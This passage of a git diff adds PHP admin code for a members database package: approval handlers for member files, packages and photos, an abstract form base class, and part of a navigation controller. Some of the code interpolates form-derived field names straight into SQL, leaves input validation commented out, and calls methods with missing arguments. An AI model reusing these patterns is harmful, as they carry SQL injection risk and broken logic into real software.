+                       $sql = "
+                DELETE FROM member_files
+                 WHERE id   = :id";
+
+                       $delStmt = $this->dbh->prepare($sql);
+                       //      Stmt to remove any file name updates for a file that
+                       //      are still in the updates table.
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE field        = 'file_name'
+                   AND foreign_key  = :id";
+
+                       $delFileNameStmt = $this->dbh->prepare($sql);
+                       //      Remove from updates table.
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE field        = :field
+                   AND foreign_key  = :id";
+
+                       $remStmt = $this->dbh->prepare($sql);
+                       //      Loop through all the files and see if the update was
+                       //      accepted or not.  If it was accepted, get the update
+                       //      row from the updates table and find out if the update
+                       //      was to add [update = 1] the card or remove [update = 0].
+                       //      Perform the update, and then remove the requests from the
+                       //      updates table.
+                       foreach ($files as $field => $accepted) {
+                               list($id, $field) = explode('_', $field, 2);
+                               $fetchStmt->bindParam(':id', $id, PDO::PARAM_INT);
+                               $fetchStmt->execute();
+                               $row = $fetchStmt->fetch(PDO::FETCH_ASSOC);
+
+                               if ($accepted == 'yes') {
+                                       $updtStmt = $this->dbh->prepare(sprintf($updateSql, $field));
+                                       //      we are dealing w/ the file_name 
+                                       //      update the files name.
+                                       $updtStmt->bindParam(':update', $row['update'], PDO::PARAM_STR);
+                                       $updtStmt->bindParam(':id', $row['foreign_key'], PDO::PARAM_INT);
+                                       $updtStmt->execute();
+
+                                       //      Remove field from the member_updates table.
+                                       $remStmt->bindParam(':field', $field, PDO::PARAM_STR);
+                                       $remStmt->bindParam(':id', $row['foreign_key'], PDO::PARAM_INT);
+                                       $remStmt->execute();
+                               } else {
+                                       //      Remove field from the member_updates table.
+                                       $remStmt->bindParam(':field', $field, PDO::PARAM_STR);
+                                       $remStmt->bindParam(':id', $row['foreign_key'], PDO::PARAM_INT);
+                                       $remStmt->execute();
+
+                                       //      a rejected file (we know its a file because it
+                                       //      has a data_type of boolean) means we have to not only
+                                       //      remove the row from the updates table, but also
+                                       //      from the member_files table.
+                                       if ($row['data_type'] == 'boolean') {
+                                               $delFileNameStmt->bindParam(
+                            ':id',
+                            $row['foreign_key'],
+                            PDO::PARAM_STR
+                        );
+                                               $delFileNameStmt->execute();
+
+                                               //      Remove the the cards from from the db.
+                                               $delStmt->bindParam(
+                            ':id',
+                            $row['foreign_key'],
+                            PDO::PARAM_INT
+                        );
+                                               $delStmt->execute();
+                                       }
+                               }
+                       }
+                       return $this->dbh->commit();
+               } catch (PDOException $e) {
+                       $this->dbh->rollBack();
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ updatePackages()
+
+       /**
+        * Handle updating any approvals or rejections on the member packages
+        *
+        * @param array $packages an array of package updates and their update status
+        *
+        * @return bool True on success, false on error.
+        * @access protected
+        */
+       protected function updatePackages($packages)
+       {
+               if (empty($packages)) {
+                       return true;
+               }
+               try {
+                       $this->dbh->beginTransaction();
+                       //      Stmt to find the newest request in the updates table for
+                       //      a specific field.
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE id = :id";
+
+                       $fetchStmt = $this->dbh->prepare($sql);
+                       //      Stmt to update the package
+                       $updateSql = "
+                UPDATE member_packages
+                   SET %s = :update
+                 WHERE id      = :id";
+                       //      Stmt to remove any updates for a package that
+                       //      are still in the updates table.
+                       //      Remove from updates table.
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE foreign_key  = :id
+                   AND field        = :field
+                                  AND db_table = 'member_packages'";
+
+                       $remStmt = $this->dbh->prepare($sql);
+                       //      Loop through all the package field and see if the update was
+                       //      accepted or not.  If it was accepted, get the update
+                       //      row from the updates table and find out if the update
+                       //      was to add [update = 1] the card or remove [update = 0].
+                       //      Perform the update, and then remove the requests from the
+                       //      updates table.
+                       foreach ($packages as $field => $accepted) {
+                               list($id, $field) = explode('_', $field, 2);
+                               $fetchStmt->bindParam(':id', $id, PDO::PARAM_INT);
+                               $fetchStmt->execute();
+                               $row = $fetchStmt->fetch(PDO::FETCH_ASSOC);
+
+                               if ($accepted == 'yes') {
+                                       $updtStmt = $this->dbh->prepare(sprintf($updateSql, $field));
+                                       $update   = $this->getSubmitValue("{$id}_{$field}_update");
+                                       if (empty($update)) {
+                                               $update = $row['update'];
+                                       }
+                                       $updtStmt->bindParam(':update', $update, PDO::PARAM_STR);
+                                       $updtStmt->bindParam(':id', $row['foreign_key'], PDO::PARAM_INT);
+                                       $updtStmt->execute();
+
+                                       //      Remove field from the member_updates table.
+                                       $remStmt->bindParam(':field', $field, PDO::PARAM_STR);
+                                       $remStmt->bindParam(':id', $row['foreign_key'], PDO::PARAM_INT);
+                                       $remStmt->execute();
+                               } else {
+                                       //      Remove field from the member_updates table.
+                                       $remStmt->bindParam(':field', $field, PDO::PARAM_STR);
+                                       $remStmt->bindParam(':id', $row['foreign_key'], PDO::PARAM_INT);
+                                       $remStmt->execute();
+                               }
+                       }
+                       return $this->dbh->commit();
+               } catch (PDOException $e) {
+                       $this->dbh->rollBack();
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ updatePhotos()
+
+       /**
+        * Handle updating any approvals or rejections on the member photos 
+        *
+        * @param array $photos an array of photo updates and thier update status
+        *
+        * @return bool True on success, false on error.
+        * @access protected
+        */
+       protected function updatePhotos($photos)
+       {
+               if (empty($photos)) {
+                       return true;
+               }
+               try {
+                       $this->dbh->beginTransaction();
+                       //      Stmt to find the newest request in the updates table for
+                       //      a specific field.
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE id = :id";
+
+                       $fetchStmt = $this->dbh->prepare($sql);
+                       //      Stmt to update the photo
+                       $updateSql = "
+                UPDATE member_photos
+                   SET %s = :update
+                 WHERE id      = :id";
+                       //      Stmt to remove photo from member.
+                       $sql = "
+                DELETE FROM member_photos
+                 WHERE id = :id";
+
+                       $delStmt = $this->dbh->prepare($sql);
+                       //      Stmt to remove any caption updates for a photo that
+                       //      are still in the updates table.
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE field = 'caption'
+                   AND foreign_key  = :id";
+
+                       $delPhotoCaptionStmt = $this->dbh->prepare($sql);
+                       //      Remove from updates table.
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE foreign_key  = :id
+                   AND field        = :field";
+
+                       $remStmt = $this->dbh->prepare($sql);
+                       //      Loop through all the photos and see if the update was
+                       //      accepted or not.  If it was accepted, get the update
+                       //      row from the updates table and find out if the update
+                       //      was to add [update = 1] the card or remove [update = 0].
+                       //      Perform the update, and then remove the requests from the
+                       //      updates table.
+                       foreach ($photos as $field => $accepted) {
+                               list($id, $field) = explode('_', $field, 2);
+                               $fetchStmt->bindParam(':id', $id, PDO::PARAM_INT);
+                               $fetchStmt->execute();
+                               $row = $fetchStmt->fetch(PDO::FETCH_ASSOC);
+
+                               if ($accepted == 'yes') {
+                                       $updtStmt = $this->dbh->prepare(sprintf($updateSql, $field));
+                                       //      we are dealing w/ the caption
+                                       //      update the photos caption.
+                                       $updtStmt->bindParam(':update', $row['update'], PDO::PARAM_STR);
+                                       $updtStmt->bindParam(':id', $row['foreign_key'], PDO::PARAM_INT);
+                                       $updtStmt->execute();
+
+                                       //      Remove field from the member_updates table.
+                                       $remStmt->bindParam(':field', $field, PDO::PARAM_STR);
+                                       $remStmt->bindParam(':id', $row['foreign_key'], PDO::PARAM_INT);
+                                       $remStmt->execute();
+                               } else {
+                                       //      Remove field from the member_updates table.
+                                       $remStmt->bindParam(':field', $field, PDO::PARAM_STR);
+                                       $remStmt->bindParam(':id', $row['foreign_key'], PDO::PARAM_INT);
+                                       $remStmt->execute();
+
+                                       //      a rejected photo (we know its a photo because it
+                                       //      has a data_type of boolean) means we have to not only
+                                       //      remove the row from the updates table, but also
+                                       //      from the member_photos table.
+                                       if ($row['data_type'] == 'boolean') {
+                                               $delPhotoCaptionStmt->bindParam(
+                            ':id',
+                            $row['foreign_key'],
+                            PDO::PARAM_STR
+                        );
+                                               $delPhotoCaptionStmt->execute();
+
+                                               //      Remove the the cards from from the db.
+                                               $delStmt->bindParam(
+                            ':id',
+                            $row['foreign_key'],
+                            PDO::PARAM_INT
+                        );
+                                               $delStmt->execute();
+                                       }
+                               }
+                       }
+                       return $this->dbh->commit();
+               } catch (PDOException $e) {
+                       $this->dbh->rollBack();
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ validated()
+
+       /**
+        * Checks if the form is validated
+        *
+        * If the form is validated display the success msg.
+        * If the form is submitted but not validated, display
+        * the error msg.  Other wise display nothing.
+        *
+        * This function is called from within the template.
+        *
+        * @return string The success or error msg for the user.
+        * @access protected
+        */
+       public function validated()
+       {
+               if ($this->validated) {
+                       return $this->successMsg;
+               } elseif ($this->isSubmitted()) {
+                       return $this->errorMsg;
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/Auxiliary.php b/Toolkit/Members/Admin/Auxiliary.php
new file mode 100644 (file)
index 0000000..96b1a6c
--- /dev/null
@@ -0,0 +1,509 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: Auxiliary.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Base class used for building forms to accompany the members database
+ *
+ * This class handles all common functions that are to be used in
+ * the auxiliary forms used to assist in the members DB.
+ * (categories, amenities, regions, etc...).
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ * @see       Toolkit_Members, member_admin
+ */
+abstract class Toolkit_Members_Admin_Auxiliary extends Toolkit_FormBuilder
+{
+       //      {{{ properties
+
+       /**
+        * Primary table used for database calls
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName;
+
+       /**
+        * Array of primary table meta data
+        *
+        * This array will hold the column data types for the fields
+        * that will be manipulated in the database.
+        *
+        * @var array
+        * @access public
+        * @see Toolkit_Common::getTableMetaData()
+        */
+       public $tableMetaData;
+
+       /**
+        * The name of the template used for the form
+        *
+        * @var string
+        * @access protected
+        */
+       protected $formTemplate;
+
+       /**
+        * The object to use inside the form
+        *
+        * This object which is to be populated by the $this object                
+        * is used inside the templates and allows access back into the
+        * calling class to call publicly available functions
+        *
+        * @var string
+        * @access protected
+        */
+       protected $view;
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        * 
+        * @access public
+        */
+       public function __construct(
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+               $this->registeredRules = array();
+
+               $this->configureElements();
+               $this->configureRules();
+               $this->configureFilters();
+               $this->configureDefaults();
+
+               $this->flexyOptions = Toolkit_Members::getFlexyOptions();
+       }
+
+       //      }}}
+
+       //      {{{ baseUrl()
+
+       /**
+        * Returns the BASE_URL
+        *
+        * This function is used inside the Flexy Templated forms
+        *
+        * @return string BASE_URL
+        * @access public
+        */
+       public function baseUrl()
+       {
+               return BASE_URL;
+       }
+
+       //      }}}
+
+       //      {{{ configureDefaults()
+
+       /**
+        * Configure the default values for the form
+        *
+        * Since each form is different, you will need to redefine this
+        * method inside of each subclass and create your own rules
+        * based on your forms elements.
+        *
+     * @return void
+        * @access public
+        */
+       abstract protected function configureDefaults();
+
+       //      }}}             
+       //      {{{ configureElements()
+
+       /**
+        * Configures all form elements
+        *
+        * If you are subclassing this base class out, you will need to define
+        * all your forms elements in your new subclass.
+        *
+     * @return void
+        * @access protected
+        */
+       abstract protected function configureElements();
+
+       //      }}}
+       //      {{{ configureFilters()
+
+       /**
+        * Defines all filters used on form elements when submitted
+        *
+        * Most times this function won't need to be overridden.
+        *
+     * @return void
+        * @access public
+        */
+       protected function configureFilters()
+       {
+               $filters[] = array('element' => '__ALL__', 'filter' => 'trim');
+
+               $this->setupFilters($filters);
+       }
+
+       //      }}}
+       //      {{{ configureRules()
+
+       /**
+        * Sets up the required / not-required rules for forms
+        *
+        * At the bare minimum, the required / not-required rules for form
+        * needs to be defined.  Since these rules are most easily defined
+        * while creating the element definitions themselves the base function
+        * is to call the setupRules function that will instantiate these
+        * rules in the quickform class.
+        *
+     * @return void
+        * @access public
+        */
+       protected function configureRules()
+       {
+               $this->setupRules();
+       }
+
+       //      }}}
+
+       //      {{{ getSetParameters()
+
+       /**
+     * get a string of sql query parameters
+     * 
+     * @param array $values parameters to include
+     * 
+     * @return string sql query parameters
+        * @access protected
+        */
+       protected function getSetParameters($values)
+       {
+               $params = array_keys($values);
+               $length = count($params);
+               for ($i = 0; $i < $length; ++$i) {
+                       $bindParams .= "{$params[$i]} = :{$params[$i]}";
+            if ($i < ($length - 1)) {
+                $bindParams .= ', ';
+            }
+               }
+               return $bindParams;
+       }
+
+       //      }}}
+       //      {{{ getDataType()
+
+       /**
+     * gets the datatype of the element
+     * 
+     * @param string $k name of element
+     *
+     * @return string datatype
+        * @access protected
+        */
+       protected function getDataType($k)
+       {
+               $metaData = $this->tableMetaData[$k];
+               if ($metaData == 'integer') {
+                       return PDO::PARAM_INT;
+               } else if ($metaData == 'boolean') {
+                       return PDO::PARAM_BOOL;
+               } elseif ($metaData == 'double precision') {
+                       return null;
+               } else {
+                       return PDO::PARAM_STR;
+               }
+       }
+
+       //      }}}
+
+       //      {{{ insertData()
+
+       /**
+     * insert the data in the DB
+     *
+     * @param array  $values Submitted form values
+     * @param string $sql    Query to execute to make update
+     *
+     * @return void
+        * @access protected
+        */
+       protected function insertData($values, $sql)
+       {
+               try {
+                       $stmt = $this->dbh->prepare($sql);
+                       foreach ($values as $k => $v) {
+                               $dataType = $this->getDataType($k);
+                               $stmt->bindParam(":$k", $values[$k], $dataType);
+                       }
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ isEdit()
+
+       /**
+        * Determines if we are editing an object or not
+        *
+        * If we are ever editing an object, member, category, city, etc...
+        * There will be the objects DB ID passed along in the url under the
+        * id key.  If we can find this then we know we're editing, if not
+        * then we are adding.
+        *
+     * @return void
+        * @access public
+        */
+       public function isEdit()
+       {
+               return isset($_GET['id']);
+       }
+
+       //      }}}
+
+       //      {{{ processData()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return array Return description (if any) ...
+     * @access protected
+     */
+       protected function processData($values)
+       {
+               Toolkit_Common::getTableMetaData();
+
+               foreach ($values as $k => $v) {
+                       switch ($k) {
+                       case 'uploaded_file_rmv' :
+                               //      Don't remove this from the values array.
+                               //      we will handle it later.
+                               //      we need to have access to this value
+                               //      in the insert/update functions.
+                               break;
+
+                       case 'MAX_FILE_SIZE' :
+                               unset($values[$k]);
+                               break;
+
+                       default :
+                               if (preg_match('/^.+_rmv$/', $k)) {
+                                       unset($values[$k]);
+                               }
+                               break;
+                       }
+               }
+
+               if (isset($_GET['id'])) {
+                       return $this->updateData($values);
+               } else {
+                       return $this->insertData($values);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ setupElements()
+
+       /**
+        * Add the form elements defined in your class to a QuickForm
+        *
+        * Handles adding singleton elements as well as grouped elements.
+        * If added elements fail to correctly add to the form, the script
+        * should die gracefully, telling the user there was a problem.
+        *
+     * @param array $elements form element definitions
+     *
+        * @throws HTML_QuickForm_Error error raised from QuickForm class.
+     * @return void
+        * @access protected
+        */
+       protected function setupElements($elements)
+       {
+               $this->formElements = $elements;
+               foreach ($elements as $e) {
+                       if ($e['type'] != 'group') {
+                               try {
+                                       $source =& $this->addElement($e['type'], $e['name'], $e['display'], $e['opts'], $e['att'], $e['val']);
+                               } catch (HTML_QuickForm_Error $e) {
+                                       Toolkit_Common::dieGracefully(null, $e);
+                               }
+                               if ($e['type'] == 'advmultiselect') {
+                                       $source->setLabel($e['labels']);
+                               }
+                               if ($e['name'] == 'categories') {
+                                       $res = $source->loadArray($this->categories);
+                                       if (PEAR::isError($res)) {
+                                               Toolkit_Common::dieGracefully(null, $res);
+                                       }
+                               }
+                               if ($e['type'] == 'header') {
+                                       $this->formHeaders[$e['display']] = $e;
+                               }
+                       } elseif (is_array($e['group'])) {
+                               unset($field);
+                               foreach ($e['group'] as $g) {
+                                       $field[] =& HTML_QuickForm::createElement($g['type'], $g['name'], $g['display'], $g['opts'], $g['att'], $g['val']);
+                               }
+                               $source =& $this->addGroup($field, $e['name'], $e['label'], $e['seperator'], $e['appendName']);
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{ setupRenderers()
+
+       /**
+     * Sets up the rendering engine for the form
+     *
+     * @return void
+        * @access protected
+        */
+       protected function setupRenderers()
+       {
+               $renderer =& new HTML_QuickForm_Renderer_Object(true);
+
+               $this->accept($renderer);
+
+               $this->template =& new HTML_Template_Flexy($this->flexyOptions);
+
+               //      Make the view a copy of the $this object
+               //      That way we have access to call functions in
+               //      this class from within the template.
+               $this->view = $this;
+               $this->view->form = $renderer->toObject();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+
+       //      {{{ toHTML()
+
+       /**
+        * Renders the form for viewing
+        *
+        * This function validates the form if needed, and if it successfully
+        * validates attempts to insert or update the data record.
+        * If it is unsuccessful, it will return an error to the user
+        * informing them of what went wrong.
+        *
+        * @param string $listPage The page the header should redirect
+        *                                                 to on successful insert or update.
+     *
+        * @return string The compiled and filled form template.
+        * @access public
+        */
+       public function toHTML($listPage = 'index.php')
+       {
+               //      We need to validate (and freeze if needed)
+               //      before we render the form. That way the
+               //      template knows about any errors on the form.
+               $this->validated = $this->validate();
+               $this->setupRenderers();
+
+               if ($this->validated) {
+                       $processed = $this->process(
+                array(&$this, 'processData'),
+                $this->mergeFiles
+            );
+                       if ($processed) {
+                               header("Location: $listPage");
+                       } else {
+                               $errorMsg = "There was an unexpected error. Please try again later.";
+                       }
+               }
+
+               return $errorMsg . $this->template->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+
+       //      {{{ updateData()
+
+       /**
+     * update the data in the DB
+     *
+     * @param array  $values Submitted form values
+     * @param string $sql    Query to execute to make update
+     *
+     * @return boolean result of query
+        * @access protected
+        */
+       protected function updateData($values, $sql)
+       {
+               try {
+                       $stmt = $this->dbh->prepare($sql);
+                       foreach ($values as $k => &$v) {
+                               $dataType = $this->getDataType($k);
+                               $stmt->bindParam(":$k", $v, $dataType);
+                       }
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       
+       //      {{{ validated()
+
+       /**
+        * Returns form message from validation attempts
+        *
+     * @return string validation message
+        * @access public
+        */
+       public function validated()
+       {
+               if ($this->validated) {
+                       return $this->successMsg;
+               } elseif ($this->isSubmitted()) {
+                       return $this->errorMsg;
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/Controller.php b/Toolkit/Members/Admin/Controller.php
new file mode 100755 (executable)
index 0000000..546681b
--- /dev/null
@@ -0,0 +1,1081 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Gatekeeper for admin functionality
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Controller.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see                  HTML_Menu
+ * @see                  HTML_Menu_DirectRenderer
+ */
+
+require_once 'HTML/Menu.php';
+
+/**
+ * Description for require_once
+ */
+require_once 'HTML/Menu/DirectRenderer.php';
+
+/**
+ * Description for require_once
+ */
+require_once 'Members/Admin/Search.php';
+
+/**
+ * Handles calling the appropriate functionality for admin
+ * 
+ * Controls prepping the functions/classes/objects that will be used
+ * to populate the page when a user clicks through the nav/subnav structure
+ * within the members admin area.
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_Controller
+{
+       //      {{{     properties
+
+    /**
+     * Structure of the members main navigation
+     * @var    array 
+     * @access public
+     */
+       public $navStructure = array();
+
+    /**
+     * Which module to load into the page
+        *
+        * EditMember, EditCity, etc...
+        *
+     * @var    unknown
+     * @access public 
+     */
+       public $pageModule;
+
+    /**
+     * How to render the base page layout
+     * @var    string 
+     * @access private
+     */
+       private $_template = 'admin.tpl';
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     * 
+     * Handle some essential setup procedures
+     * 
+     * @param PDO              $pdo PHP Data Object to use for DB calls
+     * @param Config_Container $c   Configuration object
+     *                     
+     * @return void  
+     * @access public
+     */
+       public function __construct(PDO $pdo, Config_Container $c)
+       {
+        $this->dbh    = $pdo;
+        $this->config = $c;
+       }
+
+       //      }}}
+
+       //      {{{     addMember()
+
+    /**
+     * Call the module to handle adding a new member
+     * 
+     * @return string    New member form
+     * @access protected
+     */
+       protected function addMember()
+       {
+               $member =& new Toolkit_Members();
+               return $member->toHtml();
+       }
+
+       //      }}}
+    //  {{{ amenityScriptsAndStyles()
+
+    /**
+     * Set the styles and scripts for the amenity pages
+     * 
+     * @param array &$scripts array for scripts on the page
+     * @param array &$styles  array for styles on the page
+     *
+     * @return void     
+     * @access protected
+     */
+    protected function amenityScriptsAndStyles(
+        array &$scripts,
+        array &$styles
+    ) {
+        switch ($_GET['subCat']) {
+        case 2 :
+            $scripts[] = BASE_URL . 'Toolkit/Members/libjs/edit-amenity.js';
+            break;
+
+        default :
+            break;
+        }
+    }
+
+    //  }}}
+       //      {{{     authorizeNewRequests()
+
+    /**
+     * Call the module to authorize new member requests submitted from the front end
+     * 
+     * @return string    New member authorization form
+     * @access protected
+     */
+       protected function authorizeNewRequests()
+       {
+               $form = new Toolkit_Members_Admin_AuthorizeNewMemberForm('authorize_form');
+               return $form->toHTML();
+       }
+
+       //      }}}
+       //      {{{     authorizeUpdates()
+
+    /**
+     * Call the module to authorize any new changes made by members
+     * 
+     * @return string Authorization form for member updates
+     * @access protected
+     */
+       protected function authorizeUpdates()
+       {
+               $updateForm =& new Toolkit_Members_Admin_AuthorizeUpdates($this->dbh, 'auth_updates');
+        $updateForm->setMember($_GET['id']);
+        $updateForm->configureForm();
+               return $updateForm->toHtml();
+       }
+
+       //      }}}
+
+    //  {{{ categoryScriptsAndStyles()
+
+    /**
+     * Set the styles and scripts for the category pages
+     * 
+     * @param array &$scripts array for scripts on the page
+     * @param array &$styles  array for styles on the page
+     *
+     * @return void     
+     * @access protected
+     */
+    protected function categoryScriptsAndStyles(
+        array &$scripts,
+        array &$styles
+    ) {
+        switch ($_GET['subCat']) {
+        //  List Categories
+        case 1 :
+        default :
+            $styles[] = GLM_APP_BASE_URL . 'libjs/jsTree/source/tree_component.css';
+            $scripts[] = GLM_APP_BASE_URL . 'libjs/jsTree/libjs/css.js';
+            $scripts[] = GLM_APP_BASE_URL . 'libjs/jquery.listen.js';
+            $scripts[] = GLM_APP_BASE_URL . 'libjs/jsTree/source/tree_component.js';
+            $scripts[] = GLM_APP_BASE_URL . 'libjs/jquery.cookie.js';
+            $scripts[] = BASE_URL . 'Toolkit/Members/libjs/list-categories.js';
+            break;
+
+        //  Edit Category
+        case 2 :
+            $scripts[] = BASE_URL . 'Toolkit/Members/libjs/edit-category.js';
+            break;
+        }
+    }
+
+    //  }}}
+    //  {{{ cityScriptsAndStyles()
+
+    /**
+     * Set the styles and scripts for the city pages
+     * 
+     * @param array &$scripts array for scripts on the page
+     * @param array &$styles  array for styles on the page
+     *
+     * @return void     
+     * @access protected
+     */
+    protected function cityScriptsAndStyles(
+        array &$scripts,
+        array &$styles
+    ) {
+        switch ($_GET['subCat']) {
+        case 2 :
+            $scripts[] = BASE_URL . 'fckeditor/fckeditor.js';
+            $scripts[] = BASE_URL . 'Toolkit/Members/libjs/edit-city.js';
+            break;
+
+        default :
+            break;
+        }
+    }
+
+    //  }}}
+
+       //      {{{     editAmenity()
+
+    /**
+     * Call the module to handle editing a members amenities
+     * 
+     * @return string    Amenity editing form
+     * @access protected
+     */
+       protected function editAmenity()
+       {
+               $form = new Toolkit_Members_Admin_EditAmenity($this->dbh,
+                                                      'edit_amenity');
+        $form->configureForm();
+               return $form->toHtml();
+       }
+
+       //      }}}
+       //      {{{     editCategory()
+
+    /**
+     * Call the module to handle adding/editing/deleting categories
+     * 
+     * @return string    Category editing form
+     * @access protected
+     */
+       protected function editCategory()
+       {
+               $form = new Toolkit_Members_Admin_EditCategory($this->dbh,
+                                                       'edit_category');
+        $form->configureForm();
+               return $form->toHtml();
+       }
+
+       //      }}}
+       //      {{{     editCity()
+
+    /**
+     * Call the module to handle editing the cities allowed for members
+     * 
+     * @return string    City editing form
+     * @access protected
+     */
+       protected function editCity()
+       {
+               $form =& new Toolkit_Members_Admin_EditCity($this->dbh,
+                                                    'edit_city');
+        $form->setImageServer(new Toolkit_Image_Server());
+        $form->configureForm($this->config);
+               return $form->toHtml();
+       }
+
+       //      }}}
+       //      {{{     editCounty()
+
+    /**
+     * Call the module to handle editing the counties allowed for members
+     * 
+     * @return string    County editing form
+     * @access protected
+     */
+       protected function editCounty()
+       {
+        die('not finished');
+               $form =& new Toolkit_Members_Admin_EditCounty($this->dbh,
+                                                      'edit_city');
+        $form->configureForm();
+               return $form->toHtml();
+       }
+
+       //      }}}
+       //      {{{     editHtmlEmail()
+
+    /**
+     * Call the module to handle editing the counties allowed for members
+     * 
+     * @return string    County editing form
+     * @access protected
+     */
+       protected function editHtmlEmail()
+       {
+               $form =& new Toolkit_Members_Admin_EditHtmlEmail($this->dbh,
+                                                         'edit_html_email');
+        $form->configureForm();
+               return $form->toHtml();
+       }
+
+       //      }}}
+       //      {{{     editRegion()
+
+    /**
+     * Call the module to handle editing the regions allowed for members
+     * 
+     * @return string    Region editing form
+     * @access protected
+     */
+       protected function editRegion()
+       {
+               $form =& new Toolkit_Members_Admin_EditRegion($this->dbh,
+                                                      'edit_region');
+        $form->configureForm();
+               return $form->toHtml();
+       }
+
+       //      }}}
+
+       //      {{{     getPageModule()
+
+    /**
+     * Retrieve the module we are going to need for the page
+     * 
+        * Page modules are defined in the navigation structure
+     *
+     * @return void  
+     * @access public
+     */
+       public function getPageModule()
+       {
+               $default = 'homePage';
+               $moduleId = $_GET['cat'] . $_GET['subCat'];
+        /*
+               if (!is_numeric($moduleId)) {
+                       return false;
+               }
+               //      Make sure the category id exists.
+               if (!array_key_exists($_GET['cat'], $this->navStructure)) {
+                       return false;
+               }
+               //      Make sure the page sub category id exists.
+               if (is_numeric($_GET['subCat']) && 
+                       !array_key_exists($moduleId, $this->navStructure[$_GET['cat']]['sub'])) {
+                       return false;
+               }
+        */
+
+               if (!is_numeric($_GET['subCat'])) {
+                       $function = $this->navStructure[$_GET['cat']]['module'];
+               } else {
+                       $function = $this->navStructure[$_GET['cat']]['sub'][$moduleId]['module'];
+               }
+
+               $this->pageModule = isset($function) ? $function : $default;
+       }
+
+       //      }}}
+       //      {{{     _getPageNav()
+
+    /**
+     * Render the page navigation that is defined in the navStructure
+     * 
+     * @return string  Page navigation structure
+     * @access private
+     */
+       private function _getPageNav()
+       {
+               $menu =& new HTML_Menu($this->navStructure, 'rows');
+
+               //      Default nav index is Home which is at index 1.
+               $currIndex = 1;
+               
+               //      If we are on another category id, set that
+               //      category id as the nav index we are on.
+               if (is_numeric($_GET['cat'])) {
+                       $currIndex = $_GET['cat'];
+               }
+               //      If we are looking at a subPage, then append
+               //      that subPages id # to the navIndex.
+               if (is_numeric($_GET['subCat'])) {
+                       $currIndex .= $_GET['subCat'];
+               }
+
+               //      Set which category id we are currently looking at.
+               $menu->forceCurrentIndex($currIndex);
+               
+               $rEngine =& new HTML_Menu_DirectRenderer($tpl);
+               $rEngine->setEntryTemplate(HTML_MENU_ENTRY_INACTIVE, '<li><a href="{url}" class="{class}" title="{desc}">{Title}</a></li>');
+               $rEngine->setEntryTemplate(HTML_MENU_ENTRY_ACTIVE, '<li><a class="active {class}" href="{url}" title="{desc}">{Title}</a></li>');
+               $rEngine->setEntryTemplate(HTML_MENU_ENTRY_ACTIVEPATH, '<li><a class="active {class}" href="{url}" title="{desc}">{Title}</a></li>');
+               $rEngine->setMenuTemplate('<div>', '</div>');
+               $rEngine->setRowTemplate('<ul class="navlist">', '</ul>');
+
+               $menu->render($rEngine);
+               return $rEngine->toHtml();
+       }
+
+       //      }}}
+
